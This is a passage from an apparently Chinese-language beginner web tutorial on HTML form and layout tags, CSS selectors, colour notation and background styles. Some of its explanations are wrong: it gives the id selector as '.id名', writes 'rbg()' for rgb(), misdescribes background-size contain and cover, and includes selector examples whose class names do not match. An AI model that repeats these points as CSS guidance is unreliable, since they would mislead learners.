    &amp;lt;input id=&quot;man&quot; type=&quot;radio&quot; name=&quot;sex&quot; disabled&amp;gt;
    &amp;lt;label for=&quot;man&quot;&amp;gt;男&amp;lt;/label&amp;gt;
    &amp;lt;input id=&quot;woman&quot; type=&quot;radio&quot; name=&quot;sex&quot; checked&amp;gt;
    &amp;lt;label for=&quot;woman&quot;&amp;gt;女&amp;lt;/label&amp;gt;


    &amp;lt;h2&amp;gt;多选框&amp;lt;/h2&amp;gt;
    
    &amp;lt;input id=&quot;item-1&quot; type=&quot;checkbox&quot; name=&quot;item&quot;&amp;gt;
    &amp;lt;label for=&quot;item-1&quot;&amp;gt;唱&amp;lt;/label&amp;gt;

    &amp;lt;input id=&quot;item-2&quot; type=&quot;checkbox&quot; name=&quot;item&quot; checked&amp;gt;
    &amp;lt;label for=&quot;item-2&quot;&amp;gt;跳&amp;lt;/label&amp;gt;

    &amp;lt;input id=&quot;item-3&quot; type=&quot;checkbox&quot; name=&quot;item&quot; disabled&amp;gt;
    &amp;lt;label for=&quot;item-3&quot;&amp;gt;篮球&amp;lt;/label&amp;gt;


    &amp;lt;h2&amp;gt;文件选择&amp;lt;/h2&amp;gt;
    &amp;lt;input type=&quot;file&quot;&amp;gt;


    &amp;lt;h2&amp;gt;按钮&amp;lt;/h2&amp;gt;
    &amp;lt;input type=&quot;button&quot; value=&quot;按钮&quot;&amp;gt;
    &amp;lt;input type=&quot;submit&quot;&amp;gt;
    &amp;lt;input type=&quot;reset&quot;&amp;gt;


    &amp;lt;h2&amp;gt;多行文本框&amp;lt;/h2&amp;gt;
    &amp;lt;textarea name=&quot;&quot; id=&quot;&quot; cols=&quot;30&quot; rows=&quot;10&quot;&amp;gt;&amp;lt;/textarea&amp;gt;


    &amp;lt;h2&amp;gt;下拉菜单&amp;lt;/h2&amp;gt;
    &amp;lt;select name=&quot;&quot; id=&quot;&quot;&amp;gt;
        &amp;lt;option value=&quot;&quot; &amp;gt;1&amp;lt;/option&amp;gt;
        &amp;lt;option value=&quot;&quot; selected&amp;gt;2&amp;lt;/option&amp;gt;
        &amp;lt;option value=&quot;&quot; disabled&amp;gt;3&amp;lt;/option&amp;gt;
    &amp;lt;/select&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/5f105587c6-image-20221110154714756-169881507957429.png&quot; alt=&quot;image-20221110154714756&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 布局标签&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;div&amp;gt; &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;块级元素标签&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;​	1、常用于划分一块区域，一个网页的由若干个区域组成，从大区域到小区域实现布局。&lt;/p&gt;
&lt;p&gt;​	2、一定&lt;strong&gt;占整行&lt;/strong&gt;宽度，并且&lt;strong&gt;换行&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;​	3、可以设置宽高&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;span&amp;gt; &amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;行内元素标签&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;​	1、没有任何默认样式，常用来修饰文字。&lt;/p&gt;
&lt;p&gt;​	2、宽高随文字撑开，不会换行。&lt;/p&gt;
&lt;p&gt;​	3、不能设置宽高&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 表格搜索 --&amp;gt;
&amp;lt;div&amp;gt;
    &amp;lt;form&amp;gt;
        &amp;lt;label for=&quot;tel&quot;&amp;gt;姓名&amp;lt;/label&amp;gt;
        &amp;lt;input id=&quot;username&quot; name=&quot;username&quot;&amp;gt;&amp;lt;/input&amp;gt;
    &amp;lt;label for=&quot;tel&quot;&amp;gt;手机&amp;lt;/label&amp;gt;
    &amp;lt;input id=&quot;tel&quot; name=&quot;tel&quot;&amp;gt;&amp;lt;/input&amp;gt;
&amp;lt;button&amp;gt;搜索&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
    &amp;lt;table border=&quot;1&quot;&amp;gt;
        &amp;lt;tr&amp;gt;
            &amp;lt;th&amp;gt;姓名&amp;lt;/th&amp;gt;
            &amp;lt;th&amp;gt;手机&amp;lt;/th&amp;gt;
        &amp;lt;/tr&amp;gt;
        &amp;lt;tr&amp;gt;
            &amp;lt;td&amp;gt;小明&amp;lt;/td&amp;gt;
            &amp;lt;td&amp;gt;123&amp;lt;/td&amp;gt;
        &amp;lt;/tr&amp;gt;
        &amp;lt;tr&amp;gt;
            &amp;lt;td&amp;gt;小红&amp;lt;/td&amp;gt;
            &amp;lt;td&amp;gt;321&amp;lt;/td&amp;gt;
        &amp;lt;/tr&amp;gt;
    &amp;lt;/table&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/658492ff79-image-20221110162559192-169881508569431.png&quot; alt=&quot;image-20221110162559192&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(四) 标签显示特性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;块级元素&lt;/h5&gt;
&lt;p&gt;一定占整行宽度，并且换行。&lt;/p&gt;
&lt;p&gt;可以指定内容区宽高，但依旧换行。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;  &lt;code&gt;&amp;lt;h1&amp;gt; - &amp;lt;h6&amp;gt;&lt;/code&gt;  &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; 等标签&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;行内（内联）元素&lt;/h5&gt;
&lt;p&gt;宽高随内容撑开，不会换行。&lt;/p&gt;
&lt;p&gt;宽高无法指定。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;等标签&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;行内块元素&lt;/h5&gt;
&lt;p&gt;宽高默认随文字撑开，不会换行。&lt;/p&gt;
&lt;p&gt;宽高也可以通过css指定。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; 等标签&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 查看不同特性标签 的显示效果 --&amp;gt;

&amp;lt;!-- 块级元素 div  h1-6...  --&amp;gt;
&amp;lt;div&amp;gt;这是个div标签（会占一整行并且换行）&amp;lt;/div&amp;gt;
&amp;lt;!-- 行内（内联）元素  span input label... --&amp;gt;
&amp;lt;span&amp;gt;这是个span标签&amp;lt;/span&amp;gt;
&amp;lt;span&amp;gt;span不会换行&amp;lt;/span&amp;gt;
&amp;lt;!-- 行内块元素 --&amp;gt;
&amp;lt;input type=&quot;text&quot;&amp;gt;
&amp;lt;input type=&quot;text&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/5a590bf815-image-20221110162724207-169881509298633.png&quot; alt=&quot;image-20221110162724207&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(五) css选择器&lt;/h4&gt;
&lt;h5&gt;5.1 什么是css&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;层叠样式表&lt;/h5&gt;
&lt;h6&gt;显示设备在视觉上是二维平面的，实际上是多层图层叠加显示的效果，css可以用来更改标签显示的样式、层级，实现想要的显示效果。&lt;/h6&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;定义如何显示HTML标签&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;书写格式&lt;/h5&gt;
&lt;p&gt;选择器 {属性1：值1；属性2：值2}&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.2 书写位置&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;内联样式&lt;/h5&gt;
&lt;p&gt;直接写在标签的&lt;code&gt;style&lt;/code&gt;属性中。&lt;/p&gt;
&lt;p&gt;无法重复使用代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;span style=&quot;color:red&quot;&amp;gt;内联样式&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;内部样式&lt;/h5&gt;
&lt;p&gt;在html文件的&lt;code&gt;&amp;lt;head&amp;gt; &amp;lt;/head&amp;gt;&lt;/code&gt;标签域中，添加&lt;code&gt;&amp;lt;style&amp;gt; &amp;lt;style&amp;gt;&lt;/code&gt;标签，将css代码书写其中。&lt;/p&gt;
&lt;p&gt;可以通过选择器重复使用代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;
    &amp;lt;style&amp;gt;
        /* css代码书写区域 */
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;外部样式&lt;/h5&gt;
&lt;p&gt;在html文件的&lt;code&gt;&amp;lt;head&amp;gt; &amp;lt;/head&amp;gt;&lt;/code&gt;标签域中，通过&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;标签，引入一个&lt;code&gt;.css&lt;/code&gt;文件，该文件的书写格式和【内部样式】相同。&lt;/p&gt;
&lt;p&gt;可以通过选择器重复使用代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;
    &amp;lt;link href=&quot;css文件所在位置(相对路径、绝对路径、网络路径)&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;优先级&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;内联 &amp;gt; 内部 / 外部&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;内联优先级最大&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;内部和外部优先级取决于css代码&lt;strong&gt;上下文顺序&lt;/strong&gt;，靠后的大，会&lt;strong&gt;覆盖&lt;/strong&gt;前一个选择器的相同属性。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;5.3 选择器&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;元素 选择器&lt;/h5&gt;
&lt;p&gt;匹配到&lt;code&gt;标签名&lt;/code&gt;相同的标签，更改样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标签&lt;/strong&gt;：&lt;code&gt;&amp;lt;标签&amp;gt; &amp;lt;/标签&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;css&lt;/strong&gt;：&lt;code&gt;标签名 { /* css代码 */ }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    div{
        color:red;
    }
    span{
        color:green;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div&amp;gt;这是个div标签&amp;lt;/div&amp;gt;
    &amp;lt;span&amp;gt;这是个span标签&amp;lt;/span&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/53eb23f4f2-image-20221110162803887-169881510086935.png&quot; alt=&quot;image-20221110162803887&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;id 选择器&lt;/h5&gt;
&lt;p&gt;匹配到&lt;code&gt;id名&lt;/code&gt;相同的标签，更改样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标签&lt;/strong&gt;：&lt;code&gt;&amp;lt;标签 id=&quot;id名&quot; &amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;css&lt;/strong&gt;：&lt;code&gt;.id名 { /* css代码 */ }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：一个html文档中，不能出现两个同&lt;code&gt;id&lt;/code&gt;的标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .page-container{
        background-color:green;
    }
    #title{
        color:red;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;page-container&quot;&amp;gt;
        &amp;lt;h1 id=&quot;title&quot;&amp;gt;标题&amp;lt;/h1&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d40a0f47f7-image-20221110162934203-169881510566737.png&quot; alt=&quot;image-20221110162934203&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;class（类）选择器&lt;/h5&gt;
&lt;p&gt;匹配到&lt;code&gt;class名&lt;/code&gt;相同的标签，更改样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标签&lt;/strong&gt;：&lt;code&gt;&amp;lt;标签 class=&quot;class名&quot; &amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;css&lt;/strong&gt;：&lt;code&gt;.class名 { /* css代码 */ }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .page-container{
        background-color:green;
    }
    .title{
        color:red;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;page-container&quot;&amp;gt;
        &amp;lt;h1 class=&quot;child&quot;&amp;gt;标题&amp;lt;/h1&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d40a0f47f7-image-20221110162934203-169881510566737.png&quot; alt=&quot;image-20221110162934203&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多个标签可以&lt;code&gt;class&lt;/code&gt;同名&lt;/strong&gt;：一个选择器样式作用多个标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .text-normal{
        font-size:24px;
        color:red;
    }
&amp;lt;/style&amp;gt;
&amp;lt;span class=&quot;text-normal&quot;&amp;gt;1&amp;lt;/span&amp;gt;
&amp;lt;span class=&quot;text-normal&quot;&amp;gt;2&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/24dc193437-image-20221110163204837-169881511476541.png&quot; alt=&quot;image-20221110163204837&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单个标签可以写多个&lt;code&gt;class&lt;/code&gt;值(空格隔开)&lt;/strong&gt;：多个选择器样式，作用于一个标签，同属性设置会根据【css上下文顺序】覆盖。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .text-normal{
        font-size:24px;
        color:red;
    }
    .text-red{
        color:green;
    }
&amp;lt;/style&amp;gt;
&amp;lt;span class=&quot;text-normal text-red&quot;&amp;gt;1&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/af517cf642-image-20221110163243929-169881511882043.png&quot; alt=&quot;image-20221110163243929&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;子元素 选择器&lt;/h5&gt;
&lt;p&gt;是三种选择器的综合使用，用于修改【父级标签】中的指定【子标签】的样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;选择器(父级) 选择器(子级) ... { /* css代码 */ }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：每个选择器之间，必须用【空格】隔开&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .father-container{
        background-color:green;
    }
    .father-container .title{
        color:red;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father-container&quot;&amp;gt;
        &amp;lt;h1 class=&quot;child&quot;&amp;gt;标题1&amp;lt;/h1&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/456d17bcbe-image-20221110163619898-169881512356245.png&quot; alt=&quot;image-20221110163619898&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;相邻元素 选择器&lt;/h5&gt;
&lt;p&gt;是三种基础选择器的综合使用，用于修改目标【标签】的后一个相邻【标签】的样式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;选择器 + 选择器(同级) { /* css代码 */ }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;每个选择器之间，必须用【+号】连接，且用空格隔开。&lt;/li&gt;
&lt;li&gt;仅能修改后一个相邻标签的样式。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;
    .father-container{
        background-color:green;
    }
    /* 从孩子选到兄弟 */
    .child + .brother{
        color:yellow;
    }
    /* 从父亲选到孩子的兄弟 */
    .father-container .child + .brother{
        color:yellow;
    }
&amp;lt;/style&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;father-container&quot;&amp;gt;
        &amp;lt;h1 class=&quot;child&quot;&amp;gt;标题1&amp;lt;/h1&amp;gt;
        &amp;lt;h1 class=&quot;brother&quot;&amp;gt;标题2&amp;lt;/h1&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8ace18e558-image-20221110163703081-169881513016547.png&quot; alt=&quot;image-20221110163703081&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;兄弟元素 选择器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;是三种基础选择器的综合使用，用于修改目标【标签】后面任意【标签】的样式，位置无须紧邻于目标元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;选择器 ~ 选择器(同级) { /* css代码 */ }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;每个选择器之间，必须用【~号】连接，且用空格隔开。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节，主要介绍了表格、表单标签的使用与属性。在实战中，这些标签是非常常用的，它们的属性也比较多，需要多去使用，复习，从而掌握。小节后半段，介绍了CSS的概念与选择器，作为CSS的入门。CSS选择器，是重点也是难点，大家需要学会并且熟练掌握其用法，在使用中，选择最适合的选择器，做到代码最优。&lt;/p&gt;
&lt;h1&gt;CSS&lt;/h1&gt;
&lt;h2&gt;CSS-01&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;css颜色、背景、边框、字体、文本、伪类样式&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟练使用css选择器修改标签样式&lt;/li&gt;
&lt;li&gt;了解伪类样式&lt;/li&gt;
&lt;li&gt;熟悉几种颜色表示方式&lt;/li&gt;
&lt;li&gt;熟悉精灵图使用&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;精灵图&lt;/li&gt;
&lt;li&gt;修改标签样式&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;伪类&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;熟悉精灵图使用&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 颜色&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单词表示法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接以单词来表示颜色，如：red、green、blue...，但是无法精确的指定颜色，比较不常用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;十六进制表示法（常用）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以&lt;code&gt;#&lt;/code&gt;开头的&lt;strong&gt;6位十六进制数&lt;/strong&gt;，表示颜色，可以准确的表示所有颜色。如：#000000、#ffffff。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：0 - f (不区分大小写)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RGB三原色表示法（常用）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;rbg()&lt;/code&gt;函数，表示颜色，可以准确的表示所有颜色。如：rgb(0,0,0)、rbg(255,255,255)。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;取值范围&lt;/strong&gt;：三个参数都是 0 - 255，分别表示【红、绿、蓝】三色通道。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 背景样式&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;background-color&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;标签背景颜色。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：三种颜色表示法。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;background-image&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;标签背景图片。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：使用&lt;code&gt;url()&lt;/code&gt;函数，引入文件地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;标签必须有明确的宽高，才能看到设置的背景图片。&lt;/li&gt;
&lt;li&gt;文件地址使用&lt;code&gt;&quot;&quot;&lt;/code&gt;或&lt;code&gt;&apos;&apos;&lt;/code&gt;包裹。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;width: 400px; height:400px; background-image: url(&quot;./../imgs/background.png&quot;);&quot;&amp;gt;
    这是个div
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e639ae6c00-image-20221110164743879-16988205278081.png&quot; alt=&quot;image-20221110164743879&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;background-repeat&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;背景图片平铺方式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;repeat(默认)&lt;/strong&gt;：重复填充&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;no-repeat&lt;/strong&gt;：不重复&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：当背景图片小于标签大小时，才能看到效果。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 重复 */
background-repeat: repeat;
/* 不重复 */
background-repeat: no-repeat;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/6e0f011d05-image-20221110164604276-16988205316533.png&quot; alt=&quot;image-20221110164604276&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;background-size&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;背景图片在标签中的大小，默认是图片自己的大小（若图片比标签大，就会出现图片显示缺失）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值&lt;/strong&gt;：用空格隔开，分别设置x、y方向的相对位置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;px单位&lt;/strong&gt;：具体到px单位的偏移。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;%单位&lt;/strong&gt;：以标签大小的占比计算。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;auto(默认值)&lt;/strong&gt;：保留图片自身宽度或着高度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;contain&lt;/strong&gt;：水平铺满。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cover&lt;/strong&gt;：垂直铺满。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* 背景图片30*30 */
background-size: 30px 30px;
/* 背景图片100%占标签大小 */
background-size: 100% 100%;
/* 背景图片x方向占满，y方向保留自身高度 */
background-size: 100% auto;
/* 背景图片水平铺满 */
background-size: contain;
/* 背景图片垂直铺满 */
background-size: cover;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
